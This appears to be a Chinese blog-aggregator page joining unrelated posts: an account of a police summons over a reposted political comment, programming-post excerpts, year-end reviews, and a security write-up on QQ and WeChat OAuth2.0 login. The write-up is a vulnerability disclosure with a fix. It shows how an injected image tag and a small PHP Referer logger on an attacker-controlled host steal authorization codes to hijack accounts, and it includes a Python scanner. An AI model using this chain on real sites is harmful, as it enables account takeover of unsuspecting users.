这次他们在讨论「xx 供电局 2 名员工的不雅视频」。群成员知道我会翻墙，让我去外网搜搜看。根据我所学到的 搜索技巧，很快就在 Twitter 上找到了相关信息。好死不死，我随手转发了其中一条评论到微信群，大意是修宪连任，千秋万代，这成为了人生首次喝茶的契机。看完 Twitter 的全部相关信息，发现 不雅影像并非来自 ** 电网直播事故，并将这一辟谣信息告诉群成员。
喧嚣一场过后，班还是得上。
电话传唤
16:57接到 95050 的电话，问我是不是 xx，是不是在 xx 上班，是不是在「xx 群」发表了「对党和国家领导人」不当言论……请你来 xx 派出所一趟，没空的话我们会派警车去接你。一开始我当真了，立刻退群。然后发现不对劲，为什么不是派出所的电话打过来？因此暂且判定为诈骗电话。17:50一个中国移动的私人手机号码打过来，未被标记为诈骗电话，再次问我自己过去还是他来接我去派出所。同事斩钉截铁地认为这是诈骗电话，但是我根本想不出这个诈骗团伙的牟利点在哪里？仅仅是让我去派出所出丑？忐忑地在公司吃完晚餐，回到公司宿舍，警车真的来了。18:27另外一个中国移动的手机号码打电话给我，响铃 13 声，没接到，也不敢回拨，侥幸地认为警车只是恰巧来这里办其他事情。18:41电话又打来了，说警车就在门口，出来吧，别紧张，只是问你一些话。我知道逃不了了，于是让室友 LMZ 陪我一起去局里壮壮胆。坐上警车
这是我第一次做警车。车上只有一个开车的警察叔叔，后排是无锈钢座椅，在昏暗的车厢里散发出冰冷的光。但是开车叔叔并不冰冷，所以我的情绪也比较平静。办案民警说是这是某部门下达的命令，核实不当言论的真实性。
来到派出所，警察问什么，我答什么，没有严刑逼供。另外一位警察还呵斥我严肃一点，不要嘻嘻哈哈（天性乐观）。做完笔录，画押；写完保证书，画押……罪名「传播不当言论」。
盘查完之后，警察把笔录和保证书呈报给上级。发现有疑点，让我重新做笔录。这一次，他们发现我除了传播不当言论之外，还给不雅视频辟了谣，并及时退群了。但是警察反复盘问我是不是说了不该说的话，我始终想不起来。看了笔录中的那段「不当言论」后才勉强恢复了一点点记忆。
为什么我不记得那段「不当言论」？午觉醒来，迷迷糊糊，觉得那条推特评论写得颇有文采，能把各种官话融入时评中，有力反讽了当局，转。我认同的是它的文字技法，文字内容并未深究。从 2016 年开始写文章，我对雄文没有抵抗力。罢了，这些都是后话，是我没有意识到当前言论环境的恶劣。说句自私的心里话，我一点都不在乎中国的政治制度，我只在乎我能不能拥有自由的网上冲浪。
平安归来
为此，我付出了惨痛的代价，写了 4 份保证书、2 份笔录和 1 份训诫书才得以在
22:24走出派出所的大门。是否留下案底，我也不清楚，只记得警察反复说道，此事可大可小。庆幸评论不是我写的，而是转发的。此外，爱较真的作风，居然连不雅视频都会去求证，会不会是这一点，警察觉得我是好人？
有所收获
我把这段难忘的经历写下来，最后得出以下教训：
- 在中国，一切行动听党指挥。
- 不管你是大人物还是小人物，网络言论审查就在身边，刀子嘴，打断腿。
- 在派出所不能拍照、录音、录像，我就被警察发现了。
- 警察问话时要严肃，纵使你是勇于承认「错误」的乐天派。
- 爱笑的男孩运气都不会太差。
- 喝茶的时候，警察并不会给约谈者沏茶，连白开水都没有。
- 少用微信，多用 Telegram。
一看时间，凌晨三点，黑夜总会过去，光明总会到来。第二天早上，不到八点，我就醒了，这茶（审查经历）够提神的。
2 年过去了，跟人谈起此事，我总是津津乐道，仿佛这是我的荣光。在战争时期，刀疤是男人的证明，而在网络高度审查的当下，这是「庶民的胜利」。
延伸阅读
- 博客 Jiajun的编程随想 2018-03-10 08:00:00《如何面试-作为面试官得到的经验》- 社会很残酷，学历是一块敲门砖，尽管个人认为学历不是硬性要求，但是现实就是如果用合格人选处以其学历等级的人数，学历越高，合格的几率越高，因此很多HR为了节省时间，往往是要求本科以上...
- 博客 Jiajun的编程随想 2018-03-09 08:00:00《自己写一个容器》见： https://github.com/jiajunhuang/cup容器技术并不是什么新技术，Docker能如此风行估计是让容器技术降低了使用难度。大概说一下这个demo用到的技术...
- 博客 Jiajun的编程随想 2018-03-08 08:00:00《Golang(Go语言)中实现典型的fork调用》[English Version](https://jiajunhuang.com/articles/2018_08_28-how_does_golang_implement_fork_syscall.md.html)## 背景...
- 博客 Jiajun的编程随想 2018-02-26 08:00:00《软件开发之禅---大事化小，各个击破》that's it :)...
- 博客 Jiajun的编程随想 2018-02-25 08:00:00《程序员的自我修养：链接，装载与库 阅读笔记》- 我们可以把内存想象成一个巨大的数组，很久以前的程序是直接在物理内存上进行操作的。 - 程序在运行时访问的地址都是物理地址...
- 博客 Jiajun的编程随想 2018-02-24 08:00:00《Redis源码阅读与分析二：双链表》Redis中的双向链表实现属于比较经典的实现，我们直接看代码：```c...
- 博客 Jiajun的编程随想 2018-02-24 08:00:00《Redis源码阅读与分析三：哈希表》直接上代码：```c...
- 博客 Jiajun的编程随想 2018-02-24 08:00:00《Redis源码阅读与分析一：sds》- sds的定义： `typedef char *sds;`。所以sds是指向一个C字符串的指针。- sds所指向的指针之前有一个头部...
- 博客 Vulkey_Chen's Blog 2018-02-12 00:00:00
什么是OAuth2.0？
OAuth2.0是OAuth协议的下一版本，但不向后兼容OAuth 1.0即完全废止了OAuth1.0。 OAuth 2.0关注客户端开发者的简易性。要么通过组织在资源拥有者和HTTP服务商之间的被批准的交互动作代表用户，要么允许第三方应用代表用户获得访问的权限。同时为Web应用，桌面应用和手机，和起居室设备提供专门的认证流程。2012年10月，OAuth 2.0协议正式发布为RFC 6749 。
RFC 6749 : https://tools.ietf.org/html/rfc6749
QQ OAuth2.0 流程分析&攻击
国内的很多厂商使用了OAuth2.0的认证方式，这里以QQ为例。
QQ互联 : https://connect.qq.com/intro/login
相信大家在很多网站上都见过如下的登陆界面：
可以看见除了厂商本身网站的账号以外还有QQ跟微信这两个快捷登陆，首先以QQ的快捷登陆为例子：
点击QQ图标进入登陆的链接 -> https://graph.qq.com/oauth2.0/show?which=Login&display=pc&response_type=code&client_id=100273020&redirect_uri=http://a.com/?view=null&uuid=65392bc3fc724fca8dcba23558f67ec8
这里因为我的QQ是在电脑上已经登陆了，所以我可以直接进行登陆，这时候进行抓包截取整个流程，
关键流程分析
Request 1：
POST /oauth2.0/authorize HTTP/1.1 Host: graph.qq.com1 Response：
HTTP/1.1 302 Moved Temporarily Server: tws Date: Fri, 09 Feb 2018 11:50:42 GMT Content-Type: text/html Content-Length: 0 Connection: keep-alive Keep-Alive: timeout=50 Content-Encoding: gzip Location: http:/a.com/?uuid=65392bc3fc724fca8dcba23558f67ec8&code=120ED71CAECB11BAD538820E12B54664Request 2：(这个请求表示根据参数code的值进行个人用户凭证生成)
GET /?uuid=65392bc3fc724fca8dcba23558f67ec8&code=120ED71CAECB11BAD538820E12B54664 HTTP/1.1 Host: a.com2 Response：（setcookie返回用户凭证）
HTTP/1.1 302 Moved Temporarily Content-Length: 0 Connection: close Set-Cookie: 用户凭证 Location: https://www.a.com/ Cache-Control: max-age=0这时候我们就可以注意到问题了，请求1产生了一个链接，其就是QQ登陆的地址中的参数redirect_uri附带上参数code的值，而这个链接是生成用户凭证的，所以链接中的参数code也是至关重要的，看到这里我的攻击思路已经产生了：
假设QQ登陆的地址中的参数redirect_uri的值可以为我的网站，那么只要用户A点击我就可以根据网站日志访问记录获取参数code的值再根据请求2获取用户A在 http://a.com 的账号权限。
理想很好，现实残酷：
这里QQ做了限制，我不需要去分析QQ关联的全部流程就能知道这里的参数client_id，其实就是 http://a.com 的QQ互联的服务id， http://graph.qq.com 根据client_id获取 http://a.com 的设置允许的参数redirect_uri的值再跟你输入的参数redirect_uri的值进行比较。
这时候我只需要对参数redirect_uri进行Fuzz就能知道哪些范围是允许的：
http://a.com 的二级子域名可以为参数redirect_uri的值，目前我需要解决的就是如何根据 http://a.com 的二级子域名获取到code的值：
1.我有一个HTML注入漏洞
漏洞地址：
http://1.a.com/?xss=%3Cimg%20src="http://www.evilchen.cn/getref.php"%3Egetref.php的内容为如下PHP代码：
<?php file_put_contents("ref.txt", $_SERVER['HTTP_REFERER']); ?>将漏洞地址作为参数redirect_uri的值，然后诱导用户A点击登陆，这时候跳转的链接就变成了：
http://1.a.com/?xss=%3Cimg%20src=”http://www.evilchen.cn/getref.php”%3E&code=120ED71CAECB11BAD538820E12B54664
跳转之后这个链接会做为HTTP Referer的值再请求[http://www.evilchen.cn/getref.php]，那么我的服务器就会接收到code的值，再根据Request 2的值填入，我就可以获取用户A在a.com的账号权限了
2.我能在其他地方引用外部资源
很多厂商都会有社区、论坛等功能，大部分会使用Discuz程序来做，而Discuz确实可以引用外部资源~
这里我使用的图片地址还是 http://www.evilchen.cn/getref.php 然后进行帖子回复。
帖子地址为 http://bbs.a.com/thread-123-1-1.html 将帖子地址作为参数redirect_uri的值，然后诱导用户A点击登陆，这时候跳转的链接就变成了：
http://bbs.a.com/thread-123-1-1.html?code=120ED71CAECB11BAD538820E12B54664
跳转之后这个链接会做为HTTP Referer的值再请求 http://www.evilchen.cn/getref.php 那么我的服务器就会接收到code的值，再根据Request 2的值填入，我就可以获取用户A在a.com的账号权限了：
攻击流程
1.我点击 http://a.com 的QQ登录，获取QQ快捷登录链接，替换redirect_uri的值为如上两个问题的地址然后发送给受害者2.受害者点击QQ头像登录，会跳转到redirect_uri的值(链接)，并且携带上code的值
3.受害者浏览器以跳转后的链接作为referer头请求外链图片(php)
4.攻击者获取referer的值，构建B地址，并且进入链接(注意 攻击者要在未登录情况下)
微信快捷登陆流程
开发平台：https://open.weixin.qq.com/
http://a.com的地址如下：
https://open.weixin.qq.com/connect/qrconnect?appid=&redirect_uri=http://a.com/wx?callback=null
微信扫描后会跳转到：
http://a.com/weixin?callback=null&code=021n2XAB00C4mg2FvKyB0W7QAB0n2XAF
而只要利用QQ快捷登陆的方法我们一样可以获取到code的值
攻击流程
1.我点击http://a.com的QQ登录，获取微信快捷登录链接，替换redirect_uri的值为如上两个问题的地址然后发送给受害者 2.受害者点开微信扫描，会跳转到redirect_uri的值(链接)，并且携带上code的值
3.受害者浏览器以跳转后的链接作为referer头请求外链图片(php)
4.攻击者获取referer的值，构建B地址，并且进入链接(注意 攻击者要在未登录情况下)
风险检测
我简单的写了个poc，仅仅做风险检测，具体危害可以自行检查~~（PS：支持微信跟QQ的快捷登陆风险检测）
# -*- coding:utf-8 -*- # Name: QQ and WeChat OAuth2.0 PoC # Auther: MSTLab(EvilChen) import requests,urlparse,urllib def scan(url): url = urllib.unquote(url) tempUrl = getValue(url) tempDomain = urlparse.urlparse(tempUrl).netloc domainA = tempDomain.split('.') domainB = tempDomain.replace(domainA[0],"mstlab") url = url.replace(tempUrl,"http://" + domainB) r = requests.get(url) # print url if ("redirect uri is illegal" in r.text) or (">redirect_uri" in r.text): print "[*] This Website is safe." else: print "[*] This Website is vulnerable!" def getValue(url): query = urlparse.urlparse(url).query resUrl = dict([(k,v[0]) for k,v in urlparse.parse_qs(query).items()])['redirect_uri'] return resUrl if __name__ == '__main__': url = raw_input("URL: ") scan(url)poc的使用方法很简单，只需要复制QQ和微信快捷登陆的链接：
经过我们实验室的排查发现存在风险的厂商如下：
等国内知名厂商近百家都存在此危害。
修复建议
redirect_uri的值做限制
结尾
文章参考：
http://wooyun.jozxing.cc/search?keywords=OAuth&content_search_by=by_bugs
http://www.cnvd.org.cn/flaw/show/CNVD-2014-02785
http://www.cnvd.org.cn/flaw/show/CNVD-2018-01622
- 博客 Jiajun的编程随想 2018-02-02 08:00:00《Golang runtime 源码阅读与分析》> 只想简单地写写，就不写的太复杂了。注释都在: https://github.com/jiajunhuang/go- Go的编译方式是静态编译，把runtime直接编译到最终的可执行文件里。首先我们把代码考过来，然后编译出 `go` 这个可执行文件...
- 博客 Jiajun的编程随想 2018-01-31 08:00:00《Golang的一些坑》- 传给 `signal.Notify` 的channel必须是一个buffered channel, 否则收不到信号- channel默认是unbuffered channel, 因此在没有消费者之前, 放入channel的动作都会被阻塞, 例如...
- 博客 Jiajun的编程随想 2018-01-30 08:00:00《GC 垃圾回收》涉及的技术：- 标记-清除。第一步，从一些对象出发(这部分通常称之为root)，例如线程内的栈，将引用到的对象做标记。此后，通过第二步...
- 博客 Jiajun的编程随想 2018-01-28 08:00:00《设计一个路由》简单地说一下常见的路由形式。- 数组存储。按照添加路由的顺序存储在数组中，查找时依次匹配。这种路由效率比较低。tornado就是这么设计的...
- 博客 Jiajun的编程随想 2018-01-22 08:00:00《Go语言性能优化实战》**过早优化是万恶之源，这里都是黑魔法，不是性能瓶颈慎用**- 根据pprof数据优化...
- 博客 王子亭的博客 2018-01-16 01:00:00
从今年年初开始，我就尝试在业余时间和一个朋友开发一个容器平台，更多地是实验一些新的技术，也希望能够通过它将自己的一些小应用管理起来，在基本完成后可能会考虑开源。之所以说是实验是因为我选择了一个我几乎完全不了解的技术栈：主要编程语言是 Golang、只使用 Etcd 作为数据库、基于 Docker Swarm 管理容器。
不得不说 Golang 是一个非常难用的语言，在语言层面，为了所谓的「简单」而没有添加 异常 和 泛型 这两个对于高级编程非常重要的特性；在生态上仍没有统一出一个包管理器，如果只发布编译好的二进制程序倒是没问题，但如果发布源代码的话，缺少统一的包管理会带来很多麻烦，以至于很多开发者选择将 vendor 直接包含在版本控制中。
在这个项目中，没有异常和泛型真的给我带来了很大的困扰，几乎一半的代码都在进行繁琐的错误检查，没有泛型则很难实现一些通用的函数，或者不得不进行强制类型转换。这让我觉得 Golang 的使用场景非常受限：因为有 GC，它难以胜任对实时性要求较高的底层的工作；又因为缺少高层次的抽象手段，不适合业务逻辑复杂的应用编程（例如 Web 后端），可以说不上不下，只适合于一些业务逻辑不复杂的中间件，或者一些客户端命令行工具（毕竟在三个平台下都没有运行时依赖）。
Etcd 是一个我之前没有接触过的数据库类型，它是分布式的键值数据库，可以在大多数节点存活的情况下保证读写的强一致性，也提供了事务、订阅修改、TTL、检索历史快照等功能。我在这个项目中直接使用 Etcd 作为唯一的数据库存储所有数据，也使用 Golang 对 Etcd 的 API 进行了简单的封装，以便更好地使用 JSON 和 Etcd 的事务。
因为毕竟是业余项目，这个项目一直进展缓慢，在今年的最后我还尝试在 Swarm 上实现高可用的有状态容器，例如 Redis 和 MongoDB。我在容器内用 Shell 编写了一系列的脚本，在启动时从 Etcd 获取集群信息和自己的角色，然后通过长轮询完成配置的切换，再运行一个 Nginx 将从节点的流量转发给主节点，容器的数量则由 Swarm 保证，实现了一个「自维护」的数据库容器。
在去年 Node.js 错误处理实践 的基础上，今年我又在继续探索错误处理和日志的最佳实践。之前的方法存在一个问题，即我特别关注于将错误对象原样地传递出去，但有时看到一个非常底层、非常细节的错误（例如 CONNTIMEOUT），则难以判断究竟发生了什么。虽然从异常的调用栈中可以看出调用路径，但并不能看到一些关键变量的值，例如这个连接错误是在请求哪个地址，主要参数是什么，这是因为在异常传递的过程中，我们并没有记录这个信息。最后只能得到一个非常细节的错误信息，而不知道这个错误发生在更上层的哪个环节。
于是我开始使用 verror 这个库，它最主要的功能是帮助你创建一个「异常链」，你可以在每个层级来向异常上补充路径信息（会被反映到
err.message例如一个来自底层的错误信息可能是request failed: failed to stat "/junk": No such file or directory这样）。这个异常链信息也会和其他元信息一起以结构化的方式存储在错误对象上，这个库也提供了一些工具函数来获取这些结构化信息。我尝试使用 verror 来管理所有的异常，报告带有详细的、每一层级信息的异常。同时我也会向错误对象上附加一些元信息用来指示如何响应客户端、是否需要发到 Sentry、是否可以重试等。除了异常，我也开始尝试使用 bunyan 打印结构化的日志，并存储到 Elasticsearch。通过 Kibana 的 Web UI 可以很简单地对日志进行筛选和查询，在排查问题时找到相关的那部分日志。对于一个既有的系统来说，调整异常和日志可以说是一个非常庞杂的工作，在调整的过程中也我也在不断地修正自己的实践，今年一整年我都在做这样的尝试。
对于一个稍微复杂一点的项目来说，并不是所有的数据都在事务的保护下 —— 其实很多互联网项目也并不会使用事务。这样就难免出现数据不一致的情况，这种不一致可能是数据的关系出现损坏、缓存和数据不一致，也可能是多种数据库甚至外部资源的状态没有同步。
今年我探索了解决这个问题的一种实践：编写脚本去自动地检查和恢复这种不一致，这种脚本是常态化运行的，例如我的一个项目中现在有 4 个脚本以每 10 分钟左右的频率在进行各种检查和恢复。这样不一致的数据会在很短的时间内被恢复（也会留下可查的记录），对于用户来说就是碰到问题的次数变少了，在一些重大的的故障发生时，这种脚本也可以帮助你快速地恢复服务。
这样自动地修复不一致也引入了一个问题：就是在核心业务中会不自觉地降低对一致性的追求 —— 反正有脚本来修复，问题不会暴露出来。目前只能是为检查和恢复的情况绘制图表，在不一致的频率超出预期时及时地发现。
因为云引擎的 负载均衡 逻辑比较复杂，之前是在一个开源的 Node.js 反向代理组件上进行了一些二次开发，但在高峰时的性能不是很理想，一直有想法换成 Nginx。于是今年年初我就开始基于 Openresty 用 Lua 重写了负载均衡组件，效果非常理想，只用了 Node.js 十分之一的 CPU 和内存，再也没有出现容量不足的情况。
原因当然是 Nginx 对内存有着非常细粒度的管理，只在请求开始和结束时申请和释放整块内存，也没有 GC，保持一个长链接几乎不需要消耗多少资源。Openresty 则将 Lua 嵌入到了 Nginx 中，在 Nginx 高性能的请求处理和丰富的 HTTP 功能的基础上，让你可以用 Lua 去实现一些逻辑，对于负载均衡肯定是够用了。
我之前一直有在使用 pass 这个基于 GPG 和 Git 的命令行密码管理器，并将密码仓库托管在 GitHub 上。之所以用它是因为它基于可靠的开源工具、本身也是开源的，同时它足够简单，简单到我不需要它也可以操作我的密码。
也一直有想法为它开发一个 UI, 于是今年九月我用 Electron 开发了一个名为 Elecpass 的密码管理器，在机制和数据格式上与 pass 完全兼容。之前其实我并没有用过 Electron, 但上手的体验还是相当不错的，没有遇到什么问题。因为 Electron 自带了 commonjs 的模块加载系统，也不再需要像前端开发那样复杂的构建过程。
目前 Elecpass 一共发布了两个版本，虽然还非常简陋而且有一些 Bug，但已经可以满足基本需求了，我自己也一直在使用，明年我应该会为它添加更多的功能。
今年年初腾讯发布了微信小程序，我代表公司在「小小程序，大有作为」的线下活动里做了一个主题为「在微信小程序中使用 LeanCloud」的分享，在准备期间我也了解了一下微信小程序。
可以说微信小程序就是腾讯为了在微信中构建一个封闭的「操作系统」的产物，但大家迫于微信本身的平台能力，比如用户信息、推送、支付，不得不使用它。作为一个平台，微信小程序绑定了一个数据绑定框架，也绑定了一套模板语言，同时和前端现有的工具链（编译打包）的整合也非常差，很难利用现有的 JavaScript 生态。作为结果，我相信微信小程序不会有什么技术层面的社区和生态，只能作为最末端的用户界面。
年初因为发现我司的 服务状态页 年久失修，我决心重写一个服务状态页，参考一下 GitHub 等网站。我希望它能同时展示三个节点的状态、能够展示过去一天的历史状态、允许运维同事在服务状态页上快速地发布通知。最后这个状态页也开源了出来，在 leancloud/leancloud-status。
为了能够让服务状态页本身总是保持可用，我设计了一个比较有趣的架构：后端（检查器）分别运行在我们三个节点的云引擎上，交叉对所有节点进行检查，将结果和展示历史图表所需要的数据写入到 S3（或其他对象存储上）；状态页面作为静态页面托管在 CDN 上，从 S3 分别拉取三个节点的检查结果和历史图表数据，对来自三个节点的数据进行汇总，决定显示为「正常」还是「故障」。
这样就保证了服务状态页本身的可用性和三个节点隔离，可用性仅依赖于 S3（理论上可以同时写入多个对象存储作为热备），检测程序又运行在我们自己的云引擎上（比单独部署在一台机器上更易于维护），架构又并不复杂。
为了在前端合并三个节点的时序数据并绘制图表，我其实是费了很大的功夫的，但在实际部署的过程中遇到了很多细节的问题，做了很多妥协。例如我们的美国节点到国内的访问一直不畅等等，最后并没有把我制作的历史图表展示出来。
之前几个北京的同事写了一个 聊天机器人 放在公司的 IM 上，每天看他们调戏机器人觉得挺幼稚的。但等我搬到北京之后也加入了他们的队伍，我给机器人加了几个有趣的功能，虽然实现上并不复杂，但你可以通过聊天的方式把它展示给别人看，也可以让别人参与人来，还是个非常有意思的事情。
首先我写了一个 帮助大家决定晚上吃什么 的功能，这一写我就来了兴趣，后来又写了 确认大家是否都准备好吃晚饭了、帮助运维同事简单地更新服务状态页，还 为公司免费午餐的福利随机人选。
- 博客 Jiajun的编程随想 2018-01-14 08:00:00《那些年开发的时候踩过的坑》- 可能发生的错误一定会发生，所以能尽早想到，就尽早采取措施预防- 系统默认的环境被人改了，例如有人默认把 `python` 指向了2或者3...
- 博客 Jiajun的编程随想 2018-01-08 08:00:00《(关系型)数据库优化总结》> 来自高性能MySQL, 数据库索引设计与优化, 和MySQL官方文档。总的来说，数据库优化是一门艺术，需要不断的去探索，这篇博客是前段时间学习以上三份资料时所做的笔记...
- 博客 Jiajun的编程随想 2018-01-04 08:00:00《动态规划民科教程》> 这是我本人近段时间学习和练习动态规划的总结，因为本人不是练过ACM的，所以自称民科。文章末尾是一些有用的引用。动态规划(Dynamic Programming)，一听就是一个高大上的词语，我们先来看看维基百科是怎么说的...
- 博客 Randy's Blog 2018-01-03 08:00:001929
- 博客 阳志平的网志 2017-12-31 08:00:00
今年于我而言，是一个重要节点。我推崇以十二年为节奏，24 岁到 36 岁的 12 年是自修的 12 年；那么，接下来的 12 年，我期待成为什么样的人？我将去往何方？我目前身在何处？一年下来，答案渐次清晰。
思想者与行动者
也许是过去两年加班太多了，高强度工作累积下来的身体欠账，今年爆发了。全年下来，小病多次。五一前夕、十一前夕，均在医院打点滴度过。恍然惊觉，已经不再是那位 18 岁，可以不吃不喝，连续写上数万字的少年了；也不再是那位 24 岁，通宵写代码，早上依然精神抖擞，骑着自行车去上班的年轻人了。
老了老了，前些年听大家说「阳老」的外号时，暗暗引以为荣。当真躺在病床上，一天又一天打着点滴时，你才发现，你没有想象中坚强。还有那么多有趣的书没读，还有那么多有趣的事没做。六月份，友人去世，你叹道：这个世界会留给那些轻狂的年轻人有多少时间？
曾经希望我去世时墓志铭如是写：思想家；作家；企业家，这位轻狂的年轻人，没有辜负他的才华与好运，他的作品曾经让世界不一样。那么，如果只选一样，最重要的事情是什么？
一次又一次地问自己。答案终于浮现。我希望自己首先是一位杰出的思想家。如果侥幸能像阳明一样，立德立言立功，当然最好；倘若只能选一样，家乡王船山先生是我的榜样。
这一年，目标明晰后，渐渐地，厌倦肤浅讨论，回到源头思考，在人类思想体系脉络中，置身其中，瞻前顾后，我可以做一点什么贡献？答案是建立自己的道统、学统、文统。
什么是道统？安身立命的学问，或称信仰——以认知科学、行动科学、心灵哲学改造后的新道学体系。什么是学统？安邦治国的学问，或称知识——以五大元学科与高阶模型为代表的人类高级智慧。什么是文统？洗心养气的学问，或称修炼——以中国韩愈、桐城派的古典文体为骨干，兼容西方平克等人的古典风格。
这一年，在道统上，与师友讨论新道学体系，撰写《新道学》一书大纲；完成《大宗师三部曲》第一本中的两章；发表演讲《五百年前的学习型社群——来自阳明学士人社群的启发》。宋明理学，诸子百家，不乏奇珍异宝，可惜今日识者少矣。身为一个中国人，再怎么信奉西方宗教，也不如欧美有先天基因与模因优势；信仰选择，本身也会遵从进化法则。这一年，花费了极大力气，研读中国士族文化传承脉络，遍览诸子百家、魏晋门第、阳明学士人社群、明清书院等，偶尔夹杂西方古典学脉络。
这一年，在学统上，写作《认知三部曲》系列著作，思想框架历经多轮迭代，终于到了八月份，其中的两本纲要成熟，到了年底，完成书稿大半。生日会上，也是开智大会第二天的开智沙龙，发表演讲《认知与改变：从高阶模型到日常生活》。人类高阶智慧与现实生活从此通融，无所碍。
这一年，在文统上，组织翻译《古典风格》、《风格感觉》等书；授课认知写作学两期，新增六百余门生，撰写《文心三部曲》系列著作；发布人工智能写作辅助工具 ——《写匠》。认知写作学四期发表演讲《快写慢改》；到了认知写作学五期时，门生逾千人，为答谢各位支持，开启南下讲学之旅，先深圳、再广州，继而杭州、上海。在深圳、上海写作课答疑课上，演讲《字里行间》、《篇章结构》；亦在开学典礼上，发表演讲《风格练习：如何成为有趣的人》。
我是阳志平，我是思想者，也是行动者。
作者与读者
原本四十五岁前不出书。然抄袭我者日众。有直接抄袭者；也有恶心抄袭者，用我发明的模因，假装成是自己的洞见，以人生导师面目糊弄众人，偏偏最后还来一句：我也听阳老师说过这个观点。兄弟，不是我说过，而是我发明的！世间哪有那么多洞见，坐不了冷板凳，哪来的创新？
这批打着知识付费名义的抢劫犯，不仅抢劫了众人心灵，还想拉我背黑锅。殊不知，关于知识付费，千年前的柏拉图已说：所谓智术之师，不就是用批发或者零售的方式经营精神粮食的人吗？柏拉图劝众人，我的朋友，赶快停止吧，不要把你最贵重的财产拿去赌博，因为购买知识的冒险性比购买酒肉大得多。殊不知，欢乐苦短，忧愁实多。写作还有另一种用途：安放自己的心灵。
终于不想再沉默。24岁到36岁的12年，是博览群书的12年，而接下来的12年，是著述的12年。
这一年，3月底与中信出版社签署出版协议，接下来，《认知三部曲》、《文心三部曲》与《大宗师三部曲》，学统、文统、道统九本将陆续出版。12月底与三联出版社签署出版协议，从数百篇文章中，精选三十六篇，结集成书。先是以精选集告别24岁到36岁。接着37岁到48岁，用12年时间，陆续出版完毕《认知三部曲》、《文心三部曲》与《大宗师三部曲》九本书，此生无憾。
这一年，认识一位出版界朋友，听说了一个有趣的观点：一流的出版工作是造词，尽量造那些能在口语世界流传的大词。比如他出版的《故事》、《角色》、《对白》编剧三部曲就是如此。上帝分配给每位作家的写作配额是有限的，作家应该专注心力，出版少数作品。按照我习惯的术语，大词即大模因，因此，那些游戏之作，不再出版，岁末，不断问自己：我希望给世界留下什么大模因呢？
这一年，除了写书之外，全年给《财新周刊》的「心智专栏」供稿32篇；个人微信公众号与博客发表29篇。思想以质胜；文字以美胜。我的写作风格依然是不写时事，追求美感。值得推荐的文章，归类如下：
- 演讲：古典教育与未来教育、构建优雅的知识创造系统
- 答疑：学习十二问、知识十二问、卡片十二问、职业十二问、生活十二问
- 推荐序：《心流》推荐序：胜利者一无所获、《智力是什么》推荐序：人生标准九
- 心智学徒：给自己的教育、七月夜谈、新人七法
- 安静者：37岁，谢谢你、致弯道超车者、文化资本与社会资本
- 写作：文成法立——中国写作之道、写作十二问
- 招聘：当脑认知科学遇上教育
再说说读书。这一年，读书比往年少，好书却远超去年。因为工作忙碌，以电子阅读为主，购买电子书远超往年，总计 2301 本；总计购买实体书 1124 本，其中京东 77 本；亚马逊 1047 本。另有师友、出版社赠书 300 余本。
这一年，读书最大收获是，对宋明理学略知一二。世人只知朱子阳明，却不知横渠二程，象山船山，颇为可惜。流俗之所非，而大美存焉；立天立地立人，反经研几，精义存神，以纲维三才，贞生而安死，则往圣之传非张子其孰与归！新建「正蒙学社」，向张横渠、王船山两位先贤致敬。
这一年，开出书单远超往年。因花费极大精力带团队，先后组织数十次读书会，精读人工智能、儿童脑科学、认知科学等好书。最值得推荐的书单是：碎片时代的经典阅读（1）：什么是作家？ 、 碎片时代的经典阅读（2）：宇文所安、艾柯与卡尔维诺 广义来说，我的所有文章都是读书笔记；狭义来说，过去一年最喜欢的读书笔记则是：2016年读书札记
这一年，给四本书写了推荐序，其中已出版弗林教授的《智力是什么》（人生标准九）、契克森米哈赖教授的《心流》（胜利者一无所获）。2018年将出版平克的《风格感觉》、李晓煦老师的《三生有幸》。
我是阳志平，我是作者，也是读者。
创业者与安静者
这一年，安人心智集团发展顺利，团队人数从三年前刚起步的四人到今天近百人。核心子公司有两家：爱贝睿（基于脑科学与人工智能的新一代儿童教育机构）与开智（认知科学与人工智能驱动的教育科技公司）。我作为掌门人在这里感谢所有师友的支持。过去三年，整个安人心智走得低调且扎实。从零创造一个健康、快乐且富足的认知科学公司，始终是一件有趣的事情。
这一年，爱贝睿最棒的产品是「未来脑计划」家庭版 —— 基于脑科学的宝宝专属成长方案。怀胎十月，一朝分娩。闭关研发许久，终于在上周发布。上线三天，销售火爆，看了妈妈们的感言，感叹过去一年，辛苦也值了。
这一年，开智最骄傲的产品是「写匠」—— 基于人工智能的中文写作辅助工具。这款产品闷声研发近两年，仅为写作班内测，于11月月底，正式对外发布公测版。
除此之外，两个团队还干了不少大事，比如爱贝睿团队出版《养育的选择》、《聪明养育》、《自主教养》等育儿畅销书，累计百万读者；自制视频课程8门，并与得到、喜马拉雅等合作推出系列音频课，成为儿童教育领域的头部品牌，十万付费用户，千万播放。
再如开智团队成功举办第三届开智大会：创造与热情，路意、陈虎平、黄扬名、李雪凇四位老师奉上精彩演讲。大会结束时，不由感慨万千，一个如此奇葩的大会，不谈名利多谈内在动机；不谈知识变现多谈知识源头，竟然不知不觉，坚持三年了。异类遇见异类，追求内在动机的人，每一年，在此相遇。
这一年，依然在培养人才上耗费极大心力。与 23 岁第一次创业最大区别是，早已明白，什么是商业，什么是浮华；什么是可以妥协的，什么是永远坚持的底线；谁是同甘共苦的同行者；谁是无关痛痒的看客。三年来，聚集越来越多内在动机驱动的同行者。
在中高级人才培养上，还尝试了一种新方式——全职学徒。从数百封简历中挑选出一位同学，她恰恰是第一位来信者。当时的理由是：一个人最迷人的地方却是其矛盾之处。理解一个人，要看其矛盾之处。 果然，我的直觉对了。这位同学担任我的全职助理大半年，配合默契，合作愉快，执行高效。带着她见了无数大牛，看了无数项目，我想，她的视野从此大不一样。
令我想不到的是，我从学徒身上学到的东西同样极多。从她身上学到的东西，用曾国藩的话来总结，再合适不过——人有四大福相：端庄厚重是贵相，谦卑含容是贵相。事有归着是富相，心存济物是富相。人有两大凶德：傲慢和多言。
年轻气盛，肚子里有货者，容易谋生，常常不够谦逊，傲慢多言。历史上无数故事可以佐证。那如何让一个人既保持锐气、内在动机驱动、真诚，又能谦逊、慎言？其实颇难。曾国藩、王阳明有时候做得好，有时也不够好。24 岁到 36岁之间，我只会告诉那时的我，一意孤行，心气第一；到了今天，我则会说，戒惧慎独。
思想也好，行动也罢；写作也好，读书也罢；创业也好，生活也罢，我希望自己始终是一个安静者。我的人生，如果提取最大公约数，我称之为「安静者」。它语出《道德经》，「夫物芸芸，各归其根。归根曰静，静曰复命。复命曰常，知常曰明，不知常，妄作，凶。知常容，容乃公，公乃王，王乃天，天乃道，道乃久。」
